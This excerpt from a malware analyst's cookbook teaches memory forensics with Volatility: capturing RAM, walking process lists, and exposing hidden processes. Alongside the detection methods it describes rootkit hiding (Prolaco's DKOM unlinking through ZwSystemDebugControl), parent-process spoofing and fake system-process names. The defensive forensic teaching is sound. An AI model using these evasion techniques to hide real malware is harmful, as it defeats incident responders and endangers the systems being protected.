Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code (2011)

Chapter 14. Memory Forensics with Volatility

Memory forensics refers to finding and extracting forensic artifacts from a computer’s physical memory, otherwise known as RAM. RAM contains critical information about the runtime state of the system while the system is active. By capturing an entire copy of RAM and analyzing it on a separate computer, it is possible to reconstruct the state of the original system, including what applications were running, which files those applications were accessing, which network connections were active, and many other artifacts. For these reasons, memory forensics is extremely important to incident response. However, as you might have guessed, especially because you’re reading a book called Malware Analyst’s Cookbook, you can also use memory forensics to assist with unpacking, rootkit detection, and reverse engineering. This chapter provides an introduction to some tools you can use to capture memory and show you how to begin analyzing these memory samples with Volatility.

Memory Acquisition

Before dumping the memory of a target machine, you have to decide which tool to use for the acquisition. Most tools work consistently across different configurations in terms of architecture, operating system version, and size of physical memory, but there are some that do not. The worst thing you can do is try to dump memory of a 64-bit machine with 8GB of RAM using a tool that only supports 32-bit machines with 4GB of RAM. In this case, you may cause a Blue Screen of Death (BSOD) and end up destroying more evidence than you collect. You also have to decide where to store the captured memory sample. If you output data directly to the infected machine’s hard disk, you run the risk of destroying artifacts in slack or unallocated space. If you output data to removable media, then you must enable write operations to the media. This may allow malware on the infected machine to spread by copying itself to the removable media. Likewise, if you plan to pipe the output to a network drive or remote location, this opens up the opportunity for any malware on the infected machine to attack other systems on the same network.

Recipe 15-1: Dumping Memory with MoonSols Windows Memory Toolkit

MoonSols Windows Memory Toolkit¹ (previously win32dd) by Matthieu Suiche supports memory acquisition from 32-bit and 64-bit versions of Windows XP, 2003, 2008, Vista, 2008 R2, and 7. Here are a few of the attractive features of the toolkit:

· It supports hashing with MD5, SHA-1, and SHA-256.

· It includes a server component so you can transmit memory dumps across the network.

· It can map memory in three different ways, including the well-known use of \Device\PhysicalMemory.

· It can convert full memory dumps to Microsoft crash dumps, which you can then analyze using one of Microsoft’s debuggers (see Chapter 14).

· It can convert hibernation files into memory dumps.

· The professional version has support for scripting, dumping memory from a greater number of OS versions, converting from an x64 architecture, and so on.

Using MoonSols/win32dd

To get started, download a copy of the toolkit and extract the archive. By default, the files win32dd.exe and win32dd.sys are in the same directory (you’ll also have win64dd.exe and win64dd.sys), and it is important to keep them that way. Otherwise, the EXE file will not be able to locate the SYS file. Here is the syntax for win32dd.exe:

F:\> win32dd.exe /?

win32dd - 1.3.1.20100417 - (Community Edition)

Kernel land physical memory acquisition

Copyright (C) 2007 - 2010, Matthieu Suiche <http://www.msuiche.net>

Copyright (C) 2009 - 2010, MoonSols <http://www.moonsols.com>

Usage: win32dd [options]

Option Description

------ -----------

/f <file> File destination.

/r Create a Raw memory dump file. (default)

/d Create a Microsoft memory crash dump file. (WinDbg compliant, XP and later only).

/c <value> Memory content.

0 - Microsoft memory crash dump file.

1 - Full physical address space. (default)

2 - Memory manager physical memory block.

/m <value> Mapping method for either /d or /r option.

0 - MmMapIoSpace().

1 - \\Device\\PhysicalMemory.

2 - PFN Mapping. (default)

/e Create a Microsoft hibernation file. (local only, reboot)

/k Create a Microsoft memory crash dump file (BSOD).

(local only, reboot)

/s <value> Hash function to use.

0 - No hashing algorithm. (default)

1 - SHA1 algorithm.

2 - MD5 algorithm.

3 - SHA-256 algorithm.

/y <value> Speed level.

0 - Normal.

1 - Fast.

2 - Sonic.

3 - Hyper sonic. (default)

/t <addr> Remote host or address IP.

/p <port> Port, can be used with both /t and /l options. (default: 1337)

/l Server mode to receive memory dump remotely.

/a Answer "yes" to all questions.

/? Display this help.

To save the output file to mem.dmp in the same path as win32dd.exe, and create a SHA-1 hash of the dumped file, you can use the following syntax:

F:\>win32dd.exe /f mem.dmp /s 1

The output from this command shows details about the computer’s memory configuration, including the total address space size, the size of an individual memory page, and the number of seconds that elapsed during the memory acquisition.

Name Value

---- -----

File type: Raw memory dump file

Acquisition method: PFN Mapping

Content: Memory manager physical memory block

Destination path: mem.dmp

O.S. Version: Microsoft Windows XP Professional

Service Pack 3 (build 2600)

Computer name: JASONRESACC69

Physical page size: 4096 bytes

Minimum physical address: 0x0000000000001000

Maximum physical address: 0x000000001FFEF000

Address space size: 536805376 bytes ( 524224 Kb)

--> Are you sure you want to continue? [y/n]

Acquisition started at: [9/11/2009 (DD/MM/YYYY) 20:44:20 (UTC)]

Processing....Done.

Acquisition finished at: [2009-11-09 (YYYY-MM-DD) 20:44:41 (UTC)]

Time elapsed: 0:21 minutes:seconds (21 secs)

Created file size: 536805376 bytes ( 511 Mb)

SHA1: AA29AABD350BB03DB454C169EE91B6D73729EF15

In order to save the dump directly to another machine by transferring the image across the network, you would first need to start a server instance of win32dd.exe. On the machine you want to use to receive the memory dump, determine its IP address and then invoke a server instance, like this:

F:\>ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 10.211.55.5

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 10.211.55.1

F:\>win32dd.exe /l /f mem.dmp

win32dd - 1.3.1.20100417 - (Community Edition)

Kernel land physical memory acquisition

Copyright (C) 2007 - 2010, Matthieu Suiche <http://www.msuiche.net>

Copyright (C) 2009 - 2010, MoonSols <http://www.moonsols.com>

Remote server: 0.0.0.0:1337

By default, win32dd.exe listens on all interfaces and uses TCP port 1337. You can modify the port by using the /p switch when creating the server instance. The next step is to move to the target machine from which you want to acquire memory and tell win32dd.exe to connect to your server instance for sending the memory dump:

F:\>win32dd.exe /t 10.211.55.5 /s 1

Note that we selected to compute a SHA-1 hash of the memory dump, as in the first example. On your server machine, you should verify the hash to make sure there weren’t any errors in transmission.

Note You can also consider using the following tools for capturing memory samples:

· KnTTools by George M. Garner Jr.²

· FastDump Pro by HB Gary³

· MemoryDD.bat by Mandiant (part of the Memoryze toolkit)⁴

¹ http://moonsols.com/

² http://gmgsystemsinc.com/knttools/

³ https://www.hbgary.com/products-services/fastdump-pro/

⁴ http://www.mandiant.com/products/free_software/memoryze/

Recipe 15-2: Remote, Read-only Memory Acquisition with F-Response

F-Response,⁵ by Matt Shannon, provides read-only access to a remote computer’s physical storage media, including physical memory. F-Response uses a standalone, disposable agent that you deploy to the target machine. The agent implements a version of the iSCSI protocol that F-Response modified to block write operations to the target media, thus it prevents accidental changes during acquisition and analysis. F-Response is designed for compatibility with any forensic software that provides disk or memory analysis capabilities. For example, you could use F-Response to mount a target system’s drives over the network and then use The Sleuth Kit,⁶ X-Ways,⁷ EnCase,⁸ or FTK⁹ on your analysis machine to inspect the target machine for malicious activity.

More importantly for the topic at hand is that you can use F-Response to mount RAM over the network and then examine it from your analysis machine. In a presentation titled “Upping the ‘Anti’: Using Memory Analysis to Fight Malware,”¹⁰ Matt Shannon and AAron Walters introduced a tool called Voltage, which couples the power of F-Response and Volatility. The idea is that you could detect changes to memory in real time across all computers in an enterprise without having to reboot, power down, visit them physically, or worry about causing disruptions.

Using F-Response

The steps for using F-Response are different depending on which edition of the software you purchase. Figure 15-1 shows an image of the agent that you would run on a target machine using the Field Kit Edition of F-Response. Once you have entered the requested options, you would connect to the target machine (192.168.1.129 on TCP port 3260 in this case) from your analysis station using Microsoft’s iSCSI initiator. The target machine’s physical disk(s) and memory will then be made available to your analysis machine over the network. For example, you might see the target machine’s C: drive mounted as F: on your analysis station, and the target machine’s memory mounted as G:. Then you can launch your desired forensic software from your analysis station and aim them at your F: or G: drive. You can also connect to the target from a Mac OS X or Unix/Linux system using the iSCSI software for the respective platforms.

Figure 15-1: The F-Response Field Kit Edition software

⁵ http://www.f-response.com

⁶ http://www.sleuthkit.org/

⁷ http://www.x-ways.net/forensics/index-m.html

⁸ http://www.guidancesoftware.com/

⁹ http://www.accessdata.com/forensictoolkit.html

¹⁰ http://www.4tphi.net/fatkit/papers/Walters_2008_SANS.pdf

Recipe 15-3: Accessing Virtual Machine Memory Files

Virtual machines provide a useful environment for dynamic analysis of malware, as we discussed in Chapters 7, 8, and 9. After you execute malware in a VM, you can analyze the VM’s RAM for signs of malicious activity. In most cases, you can acquire RAM from guest machines by just suspending (or pausing) the VM, at which time the guest’s RAM will be written to a file on the host’s disk. Table 15-1 shows the default locations where popular VM applications store the memory files. If you changed settings during the installation process, then your files might be elsewhere on the drive—in which case you can use the tip in the far right column of Table 15-1 to find them.

Table 15-1: Virtual Machine Memory Files

The list of products in the table is not comprehensive; however, it should give you a pretty good idea of where to find the memory files if you’re using a different configuration. One good indication that you’ve found the memory file is that its file size is the same as the amount of RAM installed for your VM. Some applications are exceptions to this rule (for example, VirtualBox, as we discussed in Recipe 8-2). Of course, you can always log into the guest and dump memory with win32dd.exe as described in Recipe 15-1.

Preparing a Volatility Install

Volatility (https://www.volatilesystems.com/default/volatility) is an advanced memory forensics framework written in Python. It’s free to use and runs on Linux, Mac OS X, and Windows. As of this writing, Volatility 1.3 is the current version; however, the 1.4 release should be out by the time this book is published or very soon after. With the 1.4 release, you can analyze memory dumps from Windows XP SP2, XP SP3, Vista, and 7. Keep in mind throughout the next few chapters that some commands and plug-ins may change status or have slightly different syntax in the 1.4 release than they do in the examples we present.

The DVD that accompanies this book contains about 10 memory samples from machines infected with different malware. You can use the memory samples to follow along and identify the same types of artifacts that we discuss in the recipes. If you need additional samples for testing, you can download some of the exemplars posted by Hogfly (see http://cid-5694a755c9c6a175.skydrive.live.com/browse.aspx/Public) or automate the execution of malware inside a virtual machine (see Chapter 8) and save the memory dumps.

Recipe 15-4: Volatility in a Nutshell

Before using Volatility, make sure you have installed Python 2.6 or greater. Then, you can download the latest Volatility release using the following commands on Mac OS X or Linux.

$ svn checkout http://volatility.googlecode.com/svn/trunk/ \

volatility-read-only

To obtain previous releases or upcoming beta versions, replace trunk with branches/Volatility-1.3.2 or branches/Volatility-1.4_rc1. If you’re using Windows, you can also use an SVN client to fetch the code (TortoiseSVN is a popular one) or just download an archive, which you can find on Volatility’s Google Code site.¹¹ Once you have the code, just execute the main volatility.py script, which will print a list of internal commands, as shown in Table 15-2.

Table 15-2: Internal Volatility Commands

Volatility Syntax

You can see a list of generic command-line switches by passing the –h flag to volatility.py. Here are a few examples:

· Always pass the –f FILENAME parameter to indicate which memory dump you’re analyzing.

· The default output format is text; however, some plug-ins can output data as HTML, SQL, or Graphviz .dot files. To change the output format, use --output=FORMAT.

· You can save the output from any commands directly to a file by specifying --output-file=FILENAME.

It is also possible to find plug-in–specific command-line switches by passing the –h flag to the respective plug-in.

Volatility Plug-ins

Volatility is open to the community, so anyone can create new plug-ins to detect rootkits or uncover artifacts created by malware. The Forensics Wiki¹² and the Volatility Wiki¹³ on Google Code contain a list of available plug-ins. You should note that some plug-ins may be merged into the Volatility core in future releases, so before you go looking for a copy of the plug-in, make sure it’s not already integrated into the most recent version of Volatility. In fact, many of the plug-ins for Volatility 1.3 have already been incorporated into the 1.4 core, so they are listed in Table 15-2.

There are a few ways to install the plug-ins, depending on which version of Volatility you’re using:

· Copy the .py files into the memory_plugins directory (for 1.3).

· Copy the .py files into the plugins directory (for 1.4).

· Specify a location to your .py files with the --plugins command-line parameter to 1.4.

Table 15-3 lists several of the plug-ins that we discuss in other chapters.

Table 15-3: Plug-ins for Volatility

¹¹ http://code.google.com/p/volatility/

¹² http://www.forensicswiki.org/wiki/List_of_Volatility_Plugins

¹³ http://code.google.com/p/volatility/wiki/Plugins

Recipe 15-5: Investigating processes in Memory Dumps

The Windows kernel tracks processes by assigning them a unique _EPROCESS structure that resides in a non-paged pool of kernel memory. The format of these structures (as well as other structures mentioned throughout the next few chapters) varies between different versions of Windows. However, you can always find the appropriate structure by using WinDbg on the target machine, as we described in Chapter 14. In the following example, we’re using Windows XP SP2 to display the _EPROCESS type:

kd> dt nt!_EPROCESS

+0x000 Pcb : _KPROCESS

+0x06c ProcessLock : _EX_PUSH_LOCK

+0x070 CreateTime : _LARGE_INTEGER

+0x078 ExitTime : _LARGE_INTEGER

+0x080 RundownProtect : _EX_RUNDOWN_REF

+0x084 UniqueProcessId : Ptr32 Void

+0x088 ActiveProcessLinks : _LIST_ENTRY

+0x090 QuotaUsage : [3] Uint4B

+0x09c QuotaPeak : [3] Uint4B

+0x0a8 CommitCharge : Uint4B

+0x0ac PeakVirtualSize : Uint4B

+0x0b0 VirtualSize : Uint4B

+0x0b4 SessionProcessLinks : _LIST_ENTRY

+0x0bc DebugPort : Ptr32 Void

+0x0c0 ExceptionPort : Ptr32 Void

+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE

+0x0c8 Token : _EX_FAST_REF

+0x0cc WorkingSetLock : _FAST_MUTEX

+0x0ec WorkingSetPage : Uint4B

+0x0f0 AddressCreationLock : _FAST_MUTEX

+0x110 HyperSpaceLock : Uint4B

+0x114 ForkInProgress : Ptr32 _ETHREAD

+0x118 HardwareTrigger : Uint4B

+0x11c VadRoot : Ptr32 Void

+0x120 VadHint : Ptr32 Void

+0x124 CloneRoot : Ptr32 Void

+0x128 NumberOfPrivatePages : Uint4B

+0x12c NumberOfLockedPages : Uint4B

+0x130 Win32Process : Ptr32 Void

+0x134 Job : Ptr32 _EJOB

+0x138 SectionObject : Ptr32 Void

+0x13c SectionBaseAddress : Ptr32 Void

+0x140 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK

+0x144 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY

+0x148 Win32WindowStation : Ptr32 Void

+0x14c InheritedFromUniqueProcessId : Ptr32 Void

+0x150 LdtInformation : Ptr32 Void

+0x154 VadFreeHint : Ptr32 Void

+0x158 VdmObjects : Ptr32 Void

+0x15c DeviceMap : Ptr32 Void

+0x160 PhysicalVadList : _LIST_ENTRY

+0x168 PageDirectoryPte : _HARDWARE_PTE

+0x168 Filler : Uint8B

+0x170 Session : Ptr32 Void

+0x174 ImageFileName : [16] UChar

+0x184 JobLinks : _LIST_ENTRY

+0x18c LockedPagesList : Ptr32 Void

+0x190 ThreadListHead : _LIST_ENTRY

+0x198 SecurityPort : Ptr32 Void

+0x19c PaeTop : Ptr32 Void

+0x1a0 ActiveThreads : Uint4B

+0x1a4 GrantedAccess : Uint4B

+0x1a8 DefaultHardErrorProcessing : Uint4B

+0x1ac LastThreadExitStatus : Int4B

+0x1b0 Peb : Ptr32 _PEB

[...]

kd> dt nt!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY

+0x004 Blink : Ptr32 _LIST_ENTRY

The _EPROCESS structure contains a LIST_ENTRY structure called ActiveProcessLinks. The LIST_ENTRY structure contains two members: a Flink (forward link), which points to the Flink value of the next _EPROCESS structure, and the Blink (backward link), which points to the Blink value of the previous _EPROCESS structure. Together, this creates a chain of process objects, also called a doubly linked list.

If you need a visual aid for a doubly linked list, think of a group of people that all join hands so that they are standing in a big circle. By joining hands, each person is connected to exactly two other people. If you wanted to count the number of people in the group, you could pick a person to start with and then walk in either direction along the outside of the circle and count the number of heads until you end up back at the starting point. You can use a similar technique to count processes on a system.

Enumerating Processes on a Live Machine

The following list shows a few ways to enumerate processes on a live Windows machine from within your own programs. The similarity between all these methods, including the methods used by tools such as Process Explorer and Task Manager, is that they all rely on finding and walking the same doubly linked list of _EPROCESS structures that exists in kernel memory.

· You can call PsGetCurrentProcess (kernel mode only), which returns a pointer to the current process’s _EPROCESS structure. From there, you can walk the LIST_ENTRY members until you end up back at the value returned by PsGetCurrentProcess.

· User-mode applications can call a native API function such as NtQuerySystemInformation with the SystemProcessInformation class.

· User-mode applications can call a Win32 API function such as CreateToolHelp32Snapshot or EnumProcesses.

Enumerating Processes in Memory Dumps

If you are working off a memory dump, the methodology is different because you cannot run programs that utilize the operating system’s APIs. In order to find the _EPROCESS structures, Volatility locates a symbol named _PsActiveProcessHead, which is defined in ntoskrnl.exe (or ntkrnlpa.exe if you have PAE enabled or a 64-bit system). This _PsActiveProcessHead symbol is a global variable that points to the beginning of the doubly linked list of _EPROCESS structures.

Although _PsActiveProcessHead is not exported, it is accessible from the _KPCR structure (Kernel Processor Control Region), which exists at a fixed address on XP systems, as described in “Finding some non-exported kernel variables in Windows XP.”¹⁴ Starting with Vista, the _KPCR is no longer at a fixed address, but you can still find it using various scanning techniques. For more information, see the three-part tutorial on adding support for new operating systems into Volatility by Bradley Schatz.¹⁵

Volatility Commands

There are a few commands you can use in Volatility for printing information about processes:

· pslist finds and walks the _EPROCESS doubly linked list.

· pstree takes the output from pslist and formats it in a tree view.

· psscan scans for _EPROCESS objects instead of relying on the linked list.

· psscan3 scans for _EPROCESS objects using robust signatures (see the end of Recipe 15-6).

The following command shows you how to use pslist:

$ python volatility.py pslist –f memory.bin

Name Pid PPid Thds Hnds Time

System 4 0 54 232 Thu Jan 01 00:00:00 1970

smss.exe 368 4 3 21 Tue Dec 01 15:58:54 2009

csrss.exe 516 368 10 324 Tue Dec 01 15:58:55 2009

winlogon.exe 540 368 18 505 Tue Dec 01 15:58:55 2009

services.exe 652 540 16 252 Tue Dec 01 15:58:55 2009

lsass.exe 664 540 21 326 Tue Dec 01 15:58:55 2009

svchost.exe 828 652 19 196 Tue Dec 01 15:58:55 2009

svchost.exe 908 652 10 225 Tue Dec 01 15:58:55 2009

svchost.exe 1004 652 67 1085 Tue Dec 01 15:58:55 2009

svchost.exe 1064 652 5 57 Tue Dec 01 15:58:55 2009

svchost.exe 1120 652 15 205 Tue Dec 01 15:58:56 2009

spoolsv.exe 1528 652 12 111 Tue Dec 01 15:58:56 2009

explorer.exe 1572 1496 10 284 Tue Dec 01 15:58:56 2009

alg.exe 780 652 6 104 Tue Dec 01 15:59:07 2009

wscntfy.exe 696 1004 1 27 Tue Dec 01 15:59:09 2009

cmd.exe 984 1572 1 31 Tue Dec 01 16:05:26 2009

win32dd.exe 996 984 1 21 Tue Dec 01 16:05:42 2009

Table 15-4 shows which member of the _EPROCESS structure Volatility reads to provide each field in the pslist output. We highlighted the corresponding members in the WinDbg output that you saw in the beginning of this recipe.

Table 15-4: Pslist Output Fields

Visualizations with psscan

The psscan command can print a Graphviz-compatible¹⁶ graph showing the parent/child relationship between processes. You can produce such an image using the following command.

$ python volatility.py psscan –f memory.bin --output=dot

--output-file=processes.dot

Then open the output file in Graphviz, as shown in Figure 15-2. Based on the graph, you can make the following conclusions:

· Pid 0, the System Idle Process, doesn’t have details because it’s not a “real” process.

· Details aren’t available for the process with Pid 1536 (which appears to have created explorer.exe). However, based on what you know about the boot sequence, Pid 1536 probably belonged to userinit.exe—but it has since exited. Winlogon.exe launches userinit.exe, which in turn launches explorer.exe. Once userinit.exe is finished, it terminates, leaving explorer.exe without a parent process. It is still possible to determine a process’s parent, even after the parent exits, by looking at the _EPROCESS.InheritedFromUniqueProcessId field.

· Based on the tree structure, you can see that a user logged into the machine and invoked cmd.exe from explorer.exe. Using the cmd.exe shell, the user invoked win32dd.exe to dump the machine’s memory.

¹⁴ http://www.reverse-engineering.info/SystemInformation/GetVarXP.pdf

¹⁵ http://blog.schatzforensic.com.au/2010/05/adding-new-structure-definitions-to-volatility/

¹⁶ http://www.graphviz.org/

Figure 15-2: Graphviz output from psscan

Recipe 15-6: Detecting DKOM Attacks with psscan

You can find supporting materials for this recipe on the companion DVD.

The pslist command is susceptible to rootkits that perform DKOM (Direct Kernel Object Manipulation). Many attacks are possible with DKOM, but one of the most common is hiding a process by unlinking its entry from the doubly linked list. To do this, you overwrite the Flink and Blink pointers of surrounding objects so that they point around the _EPROCESS structure of the process to hide. Consider the previous analogy of people joining hands and forming a circle to depict a doubly linked list. If one person releases both hands to step outside the circle, the individuals on the left and right will join hands and close the gap. The person who disconnected does not disappear and is now free to walk about the room. If you try to count people using the original method we described, you will count one less than actually exists. However, if you change techniques and scan the entire room using a thermal imaging device, you will count the correct number of people, even if one or more people are no longer standing in the circle.

The Volatility command psscan is not exactly a thermal imaging device, but it works similarly in theory. Instead of walking the _EPROCESS list like pslist does, it scans memory for pools with the same attributes that the kernel uses for _EPROCESS objects and then applies a series of sanity checks to look for constrained data items (CDIs). This way, you are able to find _EPROCESS objects in memory even if they are unlinked from the list. Before we begin with the example, consider the following ways that malware can directly modify kernel objects:

· By loading a kernel driver, which then has unrestricted access to objects in kernel memory

· By mapping a writable view of the \\Device\PhysicalMemory object (however, starting with Windows 2003 SP1 and Vista, access to this object is restricted from user-mode programs)

· By using a special native API function called ZwSystemDebugControl

The Case of Prolaco

To demonstrate how you can use psscan to find hidden processes, we’ll focus on a malware sample known to antivirus vendors as Prolaco.¹⁷ This malware performs DKOM entirely from user mode, without loading any kernel drivers. It does so by using the ZwSystemDebugControl API in almost the exact manner described by Alex Ionescu on the OpenRCE website.¹⁸ Figure 15-3shows a decompilation of Prolaco, as produced by IDA Pro and Hex-Rays.

Based on the image, you can make the following conclusions about how the malware performs DKOM:

· It enables the debug privilege (SeDebugPrivilege), which gives the process the required access for using ZwSystemDebugControl.

Figure 15-3: Prolaco sample loaded in IDA with Hex-Rays

· It calls NtQuerySystemInformation with a SystemModuleInformation class to locate the base address of the kernel execute module (i.e., ntoskrnl.exe).

· It finds PsInitialSystemProcess—a global variable exported by ntoskrnl.exe that points to the _EPROCESS object for the System process.

· It begins to walk the linked list of _EPROCESS objects until it finds the process with a UnqiueProcessId that matches the value we labeled as PidOfProcessToHide. Notice the fixed number 0x88 being used throughout the while loop—this is the offset to ActiveProcessLinks within the _EPROCESS structure (see the WinDbg output at the beginning of this section to confirm). Also note thatPidOfProcessToHide is passed into the function as a parameter. The malware derives it using GetCurrentProcessId (which means it tries to hide itself).

· It calls WriteKernelMemory, which is merely a wrapper around ZwSystemDebugControl that writes 4 bytes at a time to a specified address in kernel memory. Which 4 bytes does it write? You guessed it—the Flink and Blink pointers. Figure 15-4 shows the contents of this function.

Figure 15-4: The ZwSystemDebugControl call

DKOM Discovery with psscan

Because psscan finds the _EPROCESS structures in a completely different manner than pslist, using only one of the commands alone is not sufficient for detecting DKOM rootkits. What you need to do is run both commands and then determine if psscan shows any entries that pslist does not. For the sake of brevity, we’ve truncated some of the fields in the following output:

$ python volatility.py pslist -f prolaco.vmem

Name Pid PPid Thds Hnds

System 4 0 56 253

smss.exe 544 4 3 21

csrss.exe 608 544 11 349

winlogon.exe 632 544 19 565

services.exe 676 632 16 269

lsass.exe 688 632 19 341

svchost.exe 856 676 16 198

svchost.exe 936 676 9 256

svchost.exe 1028 676 63 1334

svchost.exe 1088 676 4 75

svchost.exe 1148 676 14 207

spoolsv.exe 1432 676 13 135

explorer.exe 1724 1708 11 294

$ python volatility.py psscan –f prolaco.vmem

PID PPID Time exited Remarks

------ ------ ------------------- ----------------

0 0 Idle

1260 1724 2010-08-11 16:50:42 rundll32.exe

1028 676 svchost.exe

1336 1136 1_doc_RCData_61

856 676 svchost.exe

4 0 System

1724 1708 explorer.exe

544 4 smss.exe

688 632 lsass.exe

676 632 services.exe

1088 676 svchost.exe

936 676 svchost.exe

1144 420 2010-08-11 16:50:08 msiexec.exe

1148 676 svchost.exe

632 544 winlogon.exe

608 544 csrss.exe

1432 676 spoolsv.exe

As you can see in the output, a process named 1_doc_RCData_61.exe is visible with psscan but not with pslist. Also note that rundll32.exe and msiexec.exe are missing from the pslist output; however, that’s fairly normal for processes that have recently exited. Is it possible for malware to overwrite its own _EPROCESS.ExitTime field and appear as if it terminated? Sure. In fact, Brendan Dolan-Gavitt (see Robust Signatures for Kernel Data Structures¹⁹) determined that attackers can overwrite around 51 fields in the _EPROCESS structure without crashing the process or the kernel. Based on this research, Brendan was able to create a new Volatility plug-in, psscan3, which depends only on the fields that are essential for maintaining the stability of the operating system.

Note Jesse Kornblum wrote a plug-in for Volatility 1.4 that automatically compares the output between pslist and psscan. You can find his plug-in, titled pstotal, on his Memory Forensics and The Guy in Row Three²⁰ blog.

¹⁷ http://www.avira.com/en/threats/section/fulldetails/id_vir/5377/worm_prolaco.c.2.html

¹⁸ http://www.openrce.org/blog/view/354/Tips_&_Tricks_Part_2_-_Putting_ZwSystemDebugControl_to_good_use

¹⁹ http://www.cc.gatech.edu/~brendan/ccs09_siggen.pdf

²⁰ http://jessekornblum.livejournal.com/265048.html

Recipe 15-7: Exploring csrss.exe’s Alternate Process Listings

You can find supporting materials for this recipe on the companion DVD.

The Client/Server Runtime Subsystem process, csrss.exe, duplicates handles to all processes on the system, with the exception of itself and the processes that started before it (usually just the Idle process, System process, and smss.exe). By analyzing the handle table for csrss.exe, you can determine if it has any open handles to processes that do not exist in the doubly linked list of _EPROCESS structures. Additionally, csrss.exe maintains a separate, internal list of active processes that you can use for comparison—a technique discovered by Diablo and implemented in CsrWalker²¹ (a DKOM detection utility that runs on live Windows systems).

DKOM Discovery with csrss_pslist

The csrss_pslist plug-in for Volatility implements both of the described techniques involving csrss.exe. The following command shows how to render the output from csrss_pslist into an HTML file (it also has a text-based rendering function, but the HTML is nicer to visualize).

$ python volatility.py csrss_pslist -f prolaco.vmem --output=html

--output-file=csrss_pslist.html

When you open the output file in a browser, you’ll see a color-coded list of processes, as show in Figure 15-5. Each of the three columns (besides the process name and Pid) contains True or False, depending on whether the particular process existed in that list. As previously mentioned, the csrss.exe lists do not contain knowledge about csrss.exe itself or any process that started before csrss.exe in the boot sequence. Thus, the two columns on the right of Figure 15-5 show False for csrss.exe, smss.exe, and the System process. However, you also see False in the _EPROCESS column for the process named 1_doc_RCData_61.exe, which is a positive indication of DKOM.

Figure 15-5: The 1_doc_RCData_61.exe process is not in the EPROC List

On Vista and later systems, there may be more than one csrss.exe. Additionally, if multiple users are logged onto a system or there is an active RDP or Terminal Services session, then you will also see multiple copies of csrss.exe. In these cases, you have to parse the handle tables and memory lists for all csrss.exe instances (csrss_pslist does this for you).

Caveats of csrss_pslist

In order for the csrss_pslist plug-in to work correctly, it must be able to locate the csrss.exe process. If a rootkit finds a reliable way to hide or prevent access to csrss.exe without causing system instability, then that could cause an issue. In fact, the author of CsrWalker found that some hackers tried to prevent CsrWalker from working by hooking ZwOpenProcess and preventing the detection tool from reading the memory of csrss.exe. Of course, this type of API hook is not effective against offline memory analysis, but another user on the forums posted code that unlinks entries from csrss.exe’s internal lists, which would in fact break the csrss_pslist analysis. In these cases, you may need to consult other sources of process listings (don’t worry, there are plenty).

Alternate Process Listings

Here are a few additional sources of process listings and ways to deal with hidden processes:

· Check for hidden threads instead of hidden processes (using the thrdscan or thrdscan2 commands). Because all processes need at least one thread of execution, you can enumerate the threads on a system and determine if any of them are not owned by a process in your list.

· Check for references to process objects from other kernel objects. For example, when a process opens a file, the kernel tracks the owner’s _EPROCESS along with the _FILE_OBJECT. Thus, you can scan for _FILE_OBJECT structures (see the filescan command) and then determine if the owners of any open files are missing from your process list. This is a very powerful trick, because it would be difficult to cover your tracks after opening each file (the same is true for other objects on the system and not just files).

²¹ http://forum.sysinternals.com/forum_posts.asp?TID=15457

Recipe 15-8: Recognizing Process Context Tricks

This recipe discusses a few ways that malware will try and hide without using DKOM. Overwriting kernel objects can be risky and forces attackers to either write the most stable code ever or spend a lot of time testing. Instead, most malware just uses simple context tricks to try and evade detection.

Image Name Tricks

The ImageFileName member of the _EPROCESS structure holds a maximum of 16 characters, thus it does not show the full path on disk to the executable. Malware could create a tricky situation by launching a copy of itself from C:\Temp\lsass.exe. With pslist and psscan alone, it would be difficult to distinguish the real lsass.exe, which exists in C:\WINDOWS\system32, from the fake one in C:\Temp. Consider the following output:

$ python volatility.py pslist –f fakelsass.bin

Name Pid PPid Thds Hnds Time

System 4 0 53 230 Thu Jan 01 00:00:00 1970

smss.exe 520 4 3 21 Thu Dec 03 16:43:20 2009

csrss.exe 584 520 11 380 Thu Dec 03 16:43:21 2009

winlogon.exe 608 520 20 497 Thu Dec 03 16:43:21 2009

services.exe 652 608 16 257 Thu Dec 03 16:43:21 2009

lsass.exe 664 608 20 320 Thu Dec 03 16:43:21 2009

svchost.exe 820 652 21 195 Thu Dec 03 16:43:21 2009

svchost.exe 896 652 9 225 Thu Dec 03 16:43:22 2009

svchost.exe 992 652 63 1070 Thu Dec 03 16:43:22 2009

svchost.exe 1036 652 5 57 Thu Dec 03 16:43:22 2009

svchost.exe 1080 652 14 203 Thu Dec 03 16:43:23 2009

spoolsv.exe 1436 652 14 111 Thu Dec 03 16:43:23 2009

explorer.exe 1560 1536 11 286 Thu Dec 03 16:43:24 2009

cmd.exe 1984 1560 1 31 Thu Dec 03 16:44:42 2009

lsass.exe 452 1560 1 7 Thu Dec 03 16:45:23 2009

win32dd.exe 540 1984 1 21 Thu Dec 03 16:45:31 2009

Here, you see two processes named lsass.exe—one with a Pid of 664 and one with a Pid of 452. Because lsass.exe is one of the first processes to start when Windows boots, you might assume that the lsass.exe with a lower Pid is the real one, but that is not always true. According to the creation times, the lsass.exe with a lower Pid actually started two seconds after the one with a higher Pid.

Now look at the parent ID field. Winlogon.exe (Pid 608) started one of the lsass.exe processes and explorer.exe (Pid 1560) started the other. This is a good indication of which copy of lsass.exe is malicious, because winlogon.exe starts the real lsass.exe. However, the parent process ID’s usefulness only goes so far, as we’ll discuss in the next example.

Parent Process Tricks

There are multiple ways to force a process to become the parent for a malicious program, provided you have the proper rights on a target system:

· If you start a process as a Windows service, it will automatically have a parent process of services.exe.

· Beginning with Windows Vista, you can use the CreateProcess API to specify a parent process—a method described in Windows via C/C++ by Jeffrey Richter and Christophe Nasarre. Didier Stevens also blogged about the technique and wrote a tool you can use to test it.²²

· If you invoke CreateProcess from within the space of an existing process through code injection, that existing process will become the parent (see Recipe 13-4 regarding calling DLL exports remotely).

The svchost.exe process with Pid 2908 in the following output has the same parent Pid as all the other svchost.exe processes. Because it’s normal for multiple copies of svchost.exe to run and those copies can start and stop in different orders, you cannot use the same process-of-elimination method as you did with the lsass.exe example.

$ python volatility.py pslist –f fakesvchost.bin

Name Pid PPid Thds Hnds Time

System 4 0 53 233 Thu Jan 01 00:00:00 1970

